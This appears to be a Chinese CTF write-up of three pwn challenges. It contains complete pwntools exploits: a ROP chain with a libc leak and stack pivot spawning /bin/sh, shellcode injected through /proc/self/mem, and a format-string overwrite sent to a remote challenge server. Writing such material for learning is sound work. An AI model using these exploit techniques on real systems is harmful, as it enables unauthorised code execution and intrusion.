0x01 跑马灯 HMI

程序实现了一个跑马灯的效果,外层循环为3,在最后一次循环中,会设置一个handler并在两秒后触发。此时三层循环即将结束,运行gee函数。此时有一个栈溢出,但是时间只有两秒,之后便会进入handler。handler中是一个死循环,进入就再也无法出来了。

程序的意思很明显,希望我们在2s内,利用栈溢出来getshell。 由于没有给libc,因此泄漏地址之后可以1. 结合libc-database来获得libc版本。2.通过DynELF来泄漏函数地址。(本质和前者一样)。 利用姿势一(libc-database 计算libc):

  1. 调用alarm(0) 防止触发handler
  2. 调用write 输出一个字符串方便接受后续数据(welcome)
  3. 调用write 输出read的GOT来计算libc
  4. 调用read 等待输入 rop,把rop写入bss
  5. 使用leave指令进行stack pivot到bss段执行刚才读入的rop
  6. ——–第一段rop已经发送完毕,以下是第二段rop
  7. 根据read GOT计算libc 中的execve和sh的地址
  8. 发送rop给read函数

利用姿势二(dynelf泄漏libc):

  1. 调用alarm(0) 防止触发handler
  2. 调用write 输出一个字符串方便接受后续数据(welcome)
  3. 调用write 输出read的GOT来计算libc 返回到gee多次触发栈溢出
  4. 编写leak函数,使用dynelf计算其它libc地址
  5. 栈溢出向bss写入/bin/sh\x00。
  6. 直接ret2libc 或者 调用read等待输入 rop后再stack pivot(同姿势一)

main函数:
Alt text
gee函数:
Alt text
handler函数:
Alt text

重温DynELF

DynELF可以搜索别的函数symbol的地址。用DynELF函数的前提:1.编写至少泄漏1byte数据2.leak函数可以多次触发。编写时,每次修改leak函数即可,注意DynELF不能搜索到binsh字符串。

写DynELF时,需要写“/bin/sh\x00”字符串,read时注意需要read的长度需要设置为9,因为一般用sendline发送,多一个\a,会对下面的read造成影响。

做题时,能用libc-database就少用dynelf。但是dynelf的通用性比libc-databse好。

收获

  • alarm 和signal联合使用,会在alarm后触发signal注册的handler。
  • 经典的rop利用:1. 泄漏地址、read 待输入的rop到可写地址,并跳到rop执行。2. 再输入要执行的rop
  • DynELF
  • 写ROP时,+ 和+=不要看错了!
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date:2018-02-26
from pwn import *
context(arch = 'i386', os = 'linux', endian = 'little')

popret = p32(0x08048bcb)
pop2ret = p32(0x08048bca)
pop3ret = p32(0x08048bc9)
leaveret = p32(0x080488DB)
gee = 0x080488A8


def wait_to_attack():
    for i in range(3):
        io.recvuntil("*...........................................................")
        log.info("round" + unicode(i))


def leak(address):
    io.recvuntil("*...........................................................")
    payload = 'A'*0x8c
    rop = p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
    rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(address) + p32(0x4)
    rop += p32(gee)
    payload += rop
    io.sendline(payload)
    
    io.recvuntil('Welcome')
    data = io.recv(4)
    #data = u32(data)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

def bof():
    log.info("start to bof")
    sleep(0.5)
    log.info("bof # leak read addr to get libc & return to gee")
    payload = 'A'*0x8c 
    rop = p32(elf.plt['alarm']) + popret + p32(0)
    rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
    rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(elf.got['read']) + p32(0x4)
    rop += p32(gee)
    #rop += p32(elf.plt['read'])  +pop3ret + p32(0) + p32(0x0804a100) + p32(0x100) 
    #rop += popret + p32(0x0804a100-4) + leaveret 
    # way 2 dynelf
    if debug: 
        gdb.attach(io,'b *0x080488DC')
    io.sendline(payload + rop)
    io.recvuntil('Welcome')
    read_addr = io.recv(4)
    read_addr = u32(read_addr)
    log.info('leak read @' + hex(read_addr))
    
    # system failed
    #system_addr = read_addr - 0x000d4350 + 0x0003a940
    if local:
        # @way1 use local libc
        libc.address = read_addr - libc.symbols['read']
        execve_addr = libc.symbols['execve']
        binsh_addr = next(libc.search('/bin/sh\x00'))
    else:
        # offset find by libc-database  https://libc.blukat.me/?q=read
        execve_addr = read_addr - libc.symbols['read'] + 0x000af590 
        binsh_addr = read_addr - libc.symbols['read'] + 0x15902b    

    log.info('execve @ '+hex(execve_addr))
    log.info('binsh @ '+hex(binsh_addr))

    sleep(1)
    if not dynelf:
        # way 1 
        # rop = p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
        # rop += p32(elf.plt['read']) +pop3ret + p32(0) + p32(0x0804a100) + p32(0x100)
        # rop += popret + p32(0x0804a100-4) + leaveret 
        # log.info("start to getshell")
        # payload = "A"*0x8C
        # io.recvuntil("*...........................................................")
        # io.sendline(payload + rop)
        # rop = p32(execve_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0) + p32(0)
        # io.sendlineafter("Welcome", rop)
        # #rop = p32(system_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0)
        # way 2
        log.info("start to getshell")
        payload = "A"*0x8C
        rop = p32(execve_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0) + p32(0)
        io.recvuntil("*...........................................................")
        io.sendline(payload + rop)
    else:
        log.info("start to leak")
        sleep(2)
        d = DynELF(leak, elf=elf)
        assert execve_addr == d.lookup('execve', 'libc')
        log.info("dynelf leak success")

        # read and jmp to rop
        log.info("start to getshell")
        payload = 'A'*0x8c
        
        binsh_addr = 0x804a138
        rop = p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
        rop += p32(elf.plt['read']) + pop3ret + p32(0) + p32(0x804a138) + p32(9) # /bin/sh\x00 
        rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
        rop += p32(elf.plt['read'])  +pop3ret + p32(0) + p32(0x0804a100) + p32(0x100) 
        rop += popret + p32(0x0804a100-4) + leaveret 
        io.recvuntil("*...........................................................")
        io.sendline(payload + rop)
        io.sendlineafter("Welcome","/bin/sh\x00")
        
        rop = p32(execve_addr) + p32(0xdeadbeaf) +  p32(binsh_addr) + p32(0) + p32(0) 
        #rop = p32(system_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0)
        io.sendlineafter("Welcome",rop)
   
        
def pwn():
    wait_to_attack()
    bof()


if __name__ == '__main__':
    global local, debug, io, elf, libc, dynelf 
    local, debug, dynelf = 1, 0, 0 
    # context.log_level = 'debug'

    if local:
        io = process('./HMI')
        elf = ELF('./HMI')
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
        context.terminal = ['terminator','-x','sh','-c']
    else:
        io = remote('127.0.0.1',1111)
    pwn()
    io.interactive()

0x02 fileManager

程序具有任意文件读取的权限。

/proc/self/maps中存在文件的内存空间映射。/proc/self/mem是文件的内存空间。因此,读取了内存空间映射maps后,可以修改对应的mem空间,进而劫持.text段中的某些函数。比如修改某些函数为一段shellcode,就可以拿shell了。

main函数:
Alt text
写:
Alt text
读:
Alt text

收获

  • /proc/self/maps 和/proc/self/mem 等其它/proc 文件需要多了解
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'debug'

def login(io, name):
    io.sendlineafter('请登录FTP:', name)
    
def read_func(io, module_name, offset, size):
    io.sendlineafter('3. 退出','1')
    
    gdb.attach(pidof(io)[0])
    
    io.sendlineafter('模块名称:',module_name)
    io.sendlineafter('查找模块偏移量:',offset)
    io.sendlineafter('模块读取大小:', size)
    io.recvuntil('模块内容')
    
    base = '0x' + io.recv(8)
    base = int(base,16)
    log.info('base:' + hex(base))
    
    return base

def write_func(io, module_name, offset, size, data):
    io.sendlineafter('3. 退出', '2')
    io.sendlineafter('模块名称:', module_name)
    io.sendlineafter('写入模块偏移量:', offset)
    io.sendlineafter('模块写入大小:', size)
    io.sendlineafter('写入模块:', data)

def getshell(io):
    io.sendlineafter('3. 退出', '1')

def pwn(io):
    login(io, 'think')
    
    base = read_func(io, '/proc/self/maps','0','256')
    
    data = asm(shellcraft.sh())
    offset_read_func = 0xD9B
    offset = unicode(base + offset_read_func)
    write_func(io, '/proc/self/mem', offset , '256', data)

    getshell(io)

    io.interactive()

if __name__ == '__main__':
    local = 1
    if local:
        io = process('./fileManager')
        context.terminal = ['terminator','-x','sh','-c']
    else:
        io = remote('127.0.0.1',1111)
    pwn(io)

0x03 药物浓度

格式化字符串漏洞,计算offset为12,然后修改0x804b14c处的值为0x2223322。程序会把每次输出刷新,flag藏在其中也会被刷新,因此需要保存每次输出的值。

收获

  • 程序刷新输出时,需要每次接收后都保存。
from pwn import *
context_level = 'debug'
addr = 0x804b14c
value = 0x2223322
payload = fmtstr_payload(12, {addr:value })
print payload
#payload = p32(addr) + "|%x"*16
#payload = p32(addr) +
ip = '47.104.70.11'
port = 30002
io = remote(ip,port)
io.sendline(payload)

while True:
	buf = io.recv(1024)
	print '------'
	print buf